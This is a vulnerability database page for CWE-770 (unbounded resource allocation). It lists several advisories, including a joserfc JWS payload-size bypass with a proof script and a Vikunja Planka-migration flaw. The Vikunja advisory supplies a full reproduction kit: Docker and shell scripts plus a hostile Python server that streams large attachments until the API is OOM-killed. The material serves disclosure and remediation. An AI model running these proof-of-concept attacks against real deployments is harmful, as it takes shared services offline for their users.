CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
4104 vulnerabilities reference this CWE, most recent first.
GHSA-WPHV-VFRH-23Q5
Vulnerability from github – Published: 2026-06-26 20:59 – Updated: 2026-06-26 20:59RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization
Summary
Testing revealed that joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length.
The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length.
This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification.
Affected Product
- Package:
joserfc - Ecosystem:
pip - Audited release:
1.6.5 - Audit tag:
1.6.5 - Audit commit:
881712980934fb601bed26fe3ae1ec0b7780e6f7 - Tested affected releases:
1.3.4,1.3.5,1.4.2,1.6.2,1.6.3,1.6.4,1.6.5 - Fixed release: none known
Vulnerability Details
In joserfc 1.6.5, the default JWS registry has max_payload_length = 128000 and exposes validate_payload_size().
The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:
if is_rfc7797_enabled(protected):
if not payload_segment and payload:
payload_segment = to_bytes(payload)
payload = payload_segment
The flattened JSON RFC7797 path has the same pattern:
payload_segment = value["payload"].encode("utf-8")
if is_rfc7797_enabled(member.headers()):
payload = payload_segment
Neither branch calls registry.validate_payload_size(payload_segment) before accepting the unencoded payload.
Reproduction
The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 b64=false behavior.
Requirements:
python -m pip install "joserfc==1.6.5"
Run:
python joserfc_rfc7797_size_bypass_poc.py
Self-contained proof script:
#!/usr/bin/env python3
import json
import joserfc
from joserfc import jws
from joserfc.jwk import OctKey
def check_compact(name, header, payload, key):
token = jws.serialize_compact(header, payload, key)
try:
obj = jws.deserialize_compact(token, key)
return {
"case": name,
"accepted": True,
"exception": None,
"payload_len_after_deserialize": len(obj.payload),
}
except Exception as exc:
return {
"case": name,
"accepted": False,
"exception": type(exc).__name__,
"error": str(exc),
}
def check_json(name, protected, payload, key):
data = jws.serialize_json({"protected": protected}, payload, key)
try:
obj = jws.deserialize_json(data, key)
return {
"case": name,
"accepted": True,
"exception": None,
"payload_len_after_deserialize": len(obj.payload),
}
except Exception as exc:
return {
"case": name,
"accepted": False,
"exception": type(exc).__name__,
"error": str(exc),
}
key = OctKey.import_key("secret-secret-secret")
limit = jws.default_registry.max_payload_length
payload = "A" * (limit + 1)
results = {
"joserfc_version": joserfc.__version__,
"default_max_payload_length": limit,
"payload_len": len(payload),
"compact": [
check_compact("normal_b64_true", {"alg": "HS256"}, payload, key),
check_compact(
"rfc7797_b64_false",
{"alg": "HS256", "b64": False, "crit": ["b64"]},
payload,
key,
),
],
"json": [
check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key),
check_json(
"rfc7797_b64_false_json",
{"alg": "HS256", "b64": False, "crit": ["b64"]},
payload,
key,
),
],
}
print(json.dumps(results, indent=2, sort_keys=True))
Expected output on 1.6.5 includes:
{
"default_max_payload_length": 128000,
"payload_len": 128001,
"compact": [
{
"case": "normal_b64_true",
"accepted": false,
"exception": "ExceededSizeError"
},
{
"case": "rfc7797_b64_false",
"accepted": true,
"exception": null,
"payload_len_after_deserialize": 128001
}
],
"json": [
{
"case": "normal_b64_true_json",
"accepted": false,
"exception": "ExceededSizeError"
},
{
"case": "rfc7797_b64_false_json",
"accepted": true,
"exception": null,
"payload_len_after_deserialize": 128001
}
]
}
Version Checks
I reproduced the same differential behavior on these releases:
| Version | Normal JWS over limit | RFC7797 b64=false over limit |
|---|---|---|
| 1.3.4 | ExceededSizeError |
accepted |
| 1.3.5 | ExceededSizeError |
accepted |
| 1.4.2 | ExceededSizeError |
accepted |
| 1.6.2 | ExceededSizeError |
accepted |
| 1.6.3 | ExceededSizeError |
accepted |
| 1.6.4 | ExceededSizeError |
accepted |
| 1.6.5 | ExceededSizeError |
accepted |
The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.
Relationship to Existing Advisories
I found two related public advisories for joserfc, but neither appears to cover this root cause.
GHSA-frfh-8v73-gjg4 / CVE-2025-65015 describes oversized token parts being included in ExceededSizeError messages in older release ranges. The issue described here reproduces in 1.6.5 and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising ExceededSizeError.
GHSA-w5r5-m38g-f9f9 / CVE-2026-27932 describes unbounded PBES2 p2c iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.
Workarounds
Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to joserfc, disabling or disallowing RFC7797 b64=false tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.
Suggested Remediation
Apply registry.validate_payload_size(payload_segment) to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the payload argument should be checked in the same way.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "joserfc"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.4"
},
{
"fixed": "1.6.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48990"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T20:59:38Z",
"nvd_published_at": "2026-06-17T22:16:23Z",
"severity": "MODERATE"
},
"details": "# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization\n\n## Summary\n\nTesting revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`.\n\nThe normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`.\n\nThis creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification.\n\n## Affected Product\n\n- Package: `joserfc`\n- Ecosystem: `pip`\n- Audited release: `1.6.5`\n- Audit tag: `1.6.5`\n- Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7`\n- Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5`\n- Fixed release: none known\n\n## Vulnerability Details\n\nIn `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`.\n\nThe normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:\n\n```text\nif is_rfc7797_enabled(protected):\n if not payload_segment and payload:\n payload_segment = to_bytes(payload)\n payload = payload_segment\n```\n\nThe flattened JSON RFC7797 path has the same pattern:\n\n```text\npayload_segment = value[\"payload\"].encode(\"utf-8\")\nif is_rfc7797_enabled(member.headers()):\n payload = payload_segment\n```\n\nNeither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload.\n\n## Reproduction\n\nThe proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior.\n\nRequirements:\n\n```bash\npython -m pip install \"joserfc==1.6.5\"\n```\n\nRun:\n\n```bash\npython joserfc_rfc7797_size_bypass_poc.py\n```\n\nSelf-contained proof script:\n\n```python\n#!/usr/bin/env python3\nimport json\n\nimport joserfc\nfrom joserfc import jws\nfrom joserfc.jwk import OctKey\n\n\ndef check_compact(name, header, payload, key):\n token = jws.serialize_compact(header, payload, key)\n try:\n obj = jws.deserialize_compact(token, key)\n return {\n \"case\": name,\n \"accepted\": True,\n \"exception\": None,\n \"payload_len_after_deserialize\": len(obj.payload),\n }\n except Exception as exc:\n return {\n \"case\": name,\n \"accepted\": False,\n \"exception\": type(exc).__name__,\n \"error\": str(exc),\n }\n\n\ndef check_json(name, protected, payload, key):\n data = jws.serialize_json({\"protected\": protected}, payload, key)\n try:\n obj = jws.deserialize_json(data, key)\n return {\n \"case\": name,\n \"accepted\": True,\n \"exception\": None,\n \"payload_len_after_deserialize\": len(obj.payload),\n }\n except Exception as exc:\n return {\n \"case\": name,\n \"accepted\": False,\n \"exception\": type(exc).__name__,\n \"error\": str(exc),\n }\n\n\nkey = OctKey.import_key(\"secret-secret-secret\")\nlimit = jws.default_registry.max_payload_length\npayload = \"A\" * (limit + 1)\n\nresults = {\n \"joserfc_version\": joserfc.__version__,\n \"default_max_payload_length\": limit,\n \"payload_len\": len(payload),\n \"compact\": [\n check_compact(\"normal_b64_true\", {\"alg\": \"HS256\"}, payload, key),\n check_compact(\n \"rfc7797_b64_false\",\n {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n payload,\n key,\n ),\n ],\n \"json\": [\n check_json(\"normal_b64_true_json\", {\"alg\": \"HS256\"}, payload, key),\n check_json(\n \"rfc7797_b64_false_json\",\n {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n payload,\n key,\n ),\n ],\n}\nprint(json.dumps(results, indent=2, sort_keys=True))\n```\n\nExpected output on `1.6.5` includes:\n\n```json\n{\n \"default_max_payload_length\": 128000,\n \"payload_len\": 128001,\n \"compact\": [\n {\n \"case\": \"normal_b64_true\",\n \"accepted\": false,\n \"exception\": \"ExceededSizeError\"\n },\n {\n \"case\": \"rfc7797_b64_false\",\n \"accepted\": true,\n \"exception\": null,\n \"payload_len_after_deserialize\": 128001\n }\n ],\n \"json\": [\n {\n \"case\": \"normal_b64_true_json\",\n \"accepted\": false,\n \"exception\": \"ExceededSizeError\"\n },\n {\n \"case\": \"rfc7797_b64_false_json\",\n \"accepted\": true,\n \"exception\": null,\n \"payload_len_after_deserialize\": 128001\n }\n ]\n}\n```\n\n## Version Checks\n\nI reproduced the same differential behavior on these releases:\n\n| Version | Normal JWS over limit | RFC7797 `b64=false` over limit |\n| --- | --- | --- |\n| 1.3.4 | `ExceededSizeError` | accepted |\n| 1.3.5 | `ExceededSizeError` | accepted |\n| 1.4.2 | `ExceededSizeError` | accepted |\n| 1.6.2 | `ExceededSizeError` | accepted |\n| 1.6.3 | `ExceededSizeError` | accepted |\n| 1.6.4 | `ExceededSizeError` | accepted |\n| 1.6.5 | `ExceededSizeError` | accepted |\n\nThe exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.\n\n## Relationship to Existing Advisories\n\nI found two related public advisories for `joserfc`, but neither appears to cover this root cause.\n\n`GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`.\n\n`GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.\n\n## Workarounds\n\nBefore a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.\n\n## Suggested Remediation\n\nApply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.",
"id": "GHSA-wphv-vfrh-23q5",
"modified": "2026-06-26T20:59:38Z",
"published": "2026-06-26T20:59:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/security/advisories/GHSA-wphv-vfrh-23q5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48990"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/joserfc"
},
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/releases/tag/1.6.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization"
}
GHSA-WQ23-W7CM-HGG8
Vulnerability from github – Published: 2025-02-20 15:31 – Updated: 2025-11-04 21:31A lack of rate limiting in the 'Forgot Password', 'Email Settings' feature of PHPJabbers Car Park Booking System v3.0 allows attackers to send an excessive amount of email for a legitimate user, leading to a possible Denial of Service (DoS) via a large amount of generated e-mail messages.
{
"affected": [],
"aliases": [
"CVE-2023-51310"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-20T15:15:12Z",
"severity": "MODERATE"
},
"details": "A lack of rate limiting in the \u0027Forgot Password\u0027, \u0027Email Settings\u0027 feature of PHPJabbers Car Park Booking System v3.0 allows attackers to send an excessive amount of email for a legitimate user, leading to a possible Denial of Service (DoS) via a large amount of generated e-mail messages.",
"id": "GHSA-wq23-w7cm-hgg8",
"modified": "2025-11-04T21:31:30Z",
"published": "2025-02-20T15:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51310"
},
{
"type": "WEB",
"url": "https://packetstorm.news/files/id/176492"
},
{
"type": "WEB",
"url": "https://www.phpjabbers.com/car-park-booking/#sectionDemo"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176492/PHPJabbers-Car-Park-Booking-System-3.0-Missing-Rate-Limiting.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WQ32-8RP4-W2MC
Vulnerability from github – Published: 2025-03-27 18:31 – Updated: 2025-03-28 22:04An integer overflow in Nethermind Juno before v0.12.5 within the Sierra bytecode decompression logic within the "cairo-lang-starknet-classes" library could allow remote attackers to trigger an infinite loop (and high CPU usage) by submitting a malicious Declare v2/v3 transaction. This results in a denial-of-service condition for affected Starknet full-node implementations.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/NethermindEth/juno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.12.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-29072"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-28T22:04:59Z",
"nvd_published_at": "2025-03-27T16:15:30Z",
"severity": "HIGH"
},
"details": "An integer overflow in Nethermind Juno before v0.12.5 within the Sierra bytecode decompression logic within the \"cairo-lang-starknet-classes\" library could allow remote attackers to trigger an infinite loop (and high CPU usage) by submitting a malicious Declare v2/v3 transaction. This results in a denial-of-service condition for affected Starknet full-node implementations.",
"id": "GHSA-wq32-8rp4-w2mc",
"modified": "2025-03-28T22:04:59Z",
"published": "2025-03-27T18:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29072"
},
{
"type": "WEB",
"url": "https://github.com/NethermindEth/juno/commit/51074875941aa111c5dd2b41f2ec890a4a15b587"
},
{
"type": "WEB",
"url": "https://github.com/NethermindEth/juno/commit/b9fe28df6a4339a66f91bff723c61dc063f9ed50"
},
{
"type": "WEB",
"url": "https://community.starknet.io/t/starknet-security-update-potential-full-node-vulnerability-recap/115314"
},
{
"type": "PACKAGE",
"url": "https://github.com/NethermindEth/juno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nethermind Juno Potential Denial of Service (DoS) via Integer Overflow"
}
GHSA-WQ8M-87W7-34W5
Vulnerability from github – Published: 2024-12-05 15:31 – Updated: 2025-02-27 18:31Denial of Service vulnerabilities where found providing a potiential for device service disruptions. Affected products:
ABB ASPECT - Enterprise v3.08.02; NEXUS Series v3.08.02; MATRIX Series v3.08.02
{
"affected": [],
"aliases": [
"CVE-2024-48843"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-05T13:15:06Z",
"severity": "HIGH"
},
"details": "Denial of Service vulnerabilities where found providing a potiential for device service disruptions.\u00a0\nAffected products:\n\n\nABB ASPECT - Enterprise v3.08.02; \nNEXUS Series v3.08.02; \nMATRIX Series v3.08.02",
"id": "GHSA-wq8m-87w7-34w5",
"modified": "2025-02-27T18:31:00Z",
"published": "2024-12-05T15:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48843"
},
{
"type": "WEB",
"url": "https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:X/R:X/V:X/RE:X/U:Red",
"type": "CVSS_V4"
}
]
}
GHSA-WQ92-8X3R-FM38
Vulnerability from github – Published: 2026-10-09 20:53 – Updated: 2026-10-09 20:53Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API
Summary
The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.
Impact and affected scope
- Type: Resource Exhaustion Dos
- Affected component: POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator
- Preconditions: A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit.
- Verified revision:
d66ef3d1a39c6f7289593059a1a34afd1d059260on 28 August 2026 - Affected release range:
> 2.5.0for the tested post-2.5.0 main branch; no released build was independently reproduced
A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.
Technical details
Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.
Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination
Relevant code:
pkg/routes/api/v2/migration_credentials.go:35pkg/routes/api/v2/migration_shared.go:73pkg/routes/api/v2/migration_shared.go:95pkg/modules/migration/planka/client.go:37pkg/modules/migration/planka/client.go:356pkg/modules/migration/planka/fetch.go:29pkg/modules/migration/planka/fetch.go:32pkg/modules/migration/planka/convert.go:275pkg/modules/migration/planka/convert.go:280pkg/modules/migration/planka/convert.go:293pkg/modules/migration/planka/planka.go:86pkg/modules/migration/planka/planka.go:100
Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create reproduction/Dockerfile:
FROM golang:1.27-bookworm AS builder
WORKDIR /src
COPY --from=target . .
RUN mkdir -p frontend/dist \
&& printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \
&& go build -o /out/vikunja .
FROM golang:1.27-bookworm
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates curl python3 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --from=builder /out/vikunja /app/vikunja
COPY . /app
RUN chmod +x /app/verify.sh
Create reproduction/verify.sh:
#!/usr/bin/env bash
set -euo pipefail
test -d /target-repo
test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260"
test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}"
mkdir -p /work/files /work/logs
export VIKUNJA_DATABASE_TYPE=sqlite
export VIKUNJA_DATABASE_PATH=/work/vikunja.db
export VIKUNJA_FILES_BASEPATH=/work/files
export VIKUNJA_LOG_PATH=/work/logs
export VIKUNJA_SERVICE_ROOTPATH=/work
export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456
export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/
export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/
python3 /app/malicious_planka.py > /work/planka.log 2>&1 &
PLANKA_PID=$!
/app/vikunja > /work/vikunja.log 2>&1 &
VIKUNJA_PID=$!
cleanup() {
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
kill "${VIKUNJA_PID}" 2>/dev/null || true
wait "${VIKUNJA_PID}" 2>/dev/null || true
fi
if kill -0 "${PLANKA_PID}" 2>/dev/null; then
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
fi
}
trap cleanup EXIT
for _ in $(seq 1 90); do
if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \
&& curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then
break
fi
sleep 1
done
curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null
curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null
REGISTER_CODE="$(curl -sS -o /work/register.json -w '%{http_code}' \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","email":"PoC@example.invalid","password":"PoC-Test-Password-123!"}' \
http://127.0.0.1:3456/api/v2/register)"
test "${REGISTER_CODE}" = "201"
curl -fsS \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","password":"PoC-Test-Password-123!","long_token":false}' \
http://127.0.0.1:3456/api/v2/login > /work/login.json
TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')"
test -n "${TOKEN}"
BASELINE_RSS_KIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJA_PID}/status")"
OOM_BEFORE="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
MIGRATE_CODE="$(curl -sS -o /work/migrate.json -w '%{http_code}' \
-H "Authorization: Bearer ${TOKEN}" \
-H 'Content-Type: application/json' \
-d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \
http://127.0.0.1:3456/api/v2/migration/planka/migrate)"
test "${MIGRATE_CODE}" = "200"
for _ in $(seq 1 90); do
if ! kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
break
fi
sleep 1
done
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
echo "[PoC] target survived unexpectedly" >&2
tail -n 80 /work/vikunja.log >&2
tail -n 80 /work/planka.log >&2
exit 1
fi
set +e
wait "${VIKUNJA_PID}"
TARGET_EXIT=$?
set -e
OOM_AFTER="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
ATTACHMENTS_SERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)"
test "${OOM_AFTER}" -gt "${OOM_BEFORE}"
test "${TARGET_EXIT}" -eq 137
test "${ATTACHMENTS_SERVED}" -ge 4
kill -0 "${PLANKA_PID}"
if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then
echo "[PoC] health endpoint remained available after target exit" >&2
exit 1
fi
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
trap - EXIT
echo "[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))"
echo "[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy"
Create reproduction/run.sh:
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
if [[ "$(basename "${SESSION_DIR}")" == "artifacts" ]]; then
SESSION_DIR="$(cd "${SESSION_DIR}/.." && pwd)"
fi
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
NETWORK_NAME="${IMAGE_TAG}-net-$$"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="d66ef3d1a39c6f7289593059a1a34afd1d059260"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-repro.XXXXXX")"
NETWORK_CREATED=false
cleanup() {
if [[ "${NETWORK_CREATED}" == "true" ]]; then
docker network rm "${NETWORK_NAME}" > /dev/null 2>&1 || true
fi
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
TARGET_REPO_DIR="${WORKDIR}/repo"
echo "[PoC] cloning target repository"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
printf '\n.git\n' >> "${TARGET_REPO_DIR}/.dockerignore"
echo "[PoC] building reproduction image: ${IMAGE_TAG}"
docker build \
--build-context "target=${TARGET_REPO_DIR}" \
-t "${IMAGE_TAG}" \
"${SCRIPT_DIR}"
echo "[PoC] creating isolated public-address test network"
docker network create --subnet 93.184.216.0/24 "${NETWORK_NAME}" > /dev/null
NETWORK_CREATED=true
echo "[PoC] running exploit trigger and verification"
docker run --rm \
--network "${NETWORK_NAME}" \
--ip 93.184.216.34 \
--memory=256m \
--memory-swap=256m \
-v "${TARGET_REPO_DIR}:/target-repo:ro" \
"${IMAGE_TAG}" \
/app/verify.sh
echo "[PoC] SUCCESS: reproduction completed and verified"
Create reproduction/malicious_planka.py:
#!/usr/bin/env python3
import json
import os
import threading
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
ATTACHMENT_COUNT = 24
ATTACHMENT_BYTES = 20 * 1024 * 1024
counter = 0
counter_lock = threading.Lock()
class Handler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, fmt, *args):
print(fmt % args, flush=True)
def send_json(self, payload):
body = json.dumps(payload, separators=(",", ":")).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_DELETE(self):
self.send_response(204)
self.send_header("Content-Length", "0")
self.end_headers()
def do_GET(self):
global counter
if self.path == "/api/users/me":
self.send_json({"item": {"id": "attacker"}})
return
if self.path == "/api/projects":
self.send_json(
{
"items": [{"id": "p1", "name": "attacker project"}],
"included": {
"boards": [
{"id": "b1", "name": "board", "projectId": "p1", "position": 1}
],
"baseCustomFieldGroups": [],
"customFields": [],
},
}
)
return
if self.path == "/api/boards/b1":
attachments = [
{
"id": f"a{i}",
"type": "file",
"name": f"aggregate-{i}.bin",
"cardId": "c1",
"data": {"mimeType": "application/octet-stream"},
}
for i in range(ATTACHMENT_COUNT)
]
self.send_json(
{
"item": {"id": "b1", "name": "board", "projectId": "p1", "position": 1},
"included": {
"users": [],
"labels": [],
"lists": [
{"id": "l1", "name": "active", "type": "active", "position": 1}
],
"cards": [
{"id": "c1", "name": "memory bomb", "listId": "l1", "commentsTotal": 0}
],
"cardLabels": [],
"taskLists": [],
"tasks": [],
"attachments": attachments,
"customFieldGroups": [],
"customFields": [],
"customFieldValues": [],
},
}
)
return
if self.path.startswith("/attachments/"):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(ATTACHMENT_BYTES))
self.end_headers()
chunk = b"A" * 65536
try:
for _ in range(ATTACHMENT_BYTES // len(chunk)):
self.wfile.write(chunk)
except (BrokenPipeError, ConnectionResetError):
return
with counter_lock:
counter += 1
with open("/work/attachment-count", "w", encoding="ascii") as count_file:
count_file.write(str(counter))
count_file.flush()
os.fsync(count_file.fileno())
return
self.send_response(404)
self.send_header("Content-Length", "0")
self.end_headers()
ThreadingHTTPServer(("0.0.0.0", 18080), Handler).serve_forever()
From the directory containing these files, run:
chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh
Expected: The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.
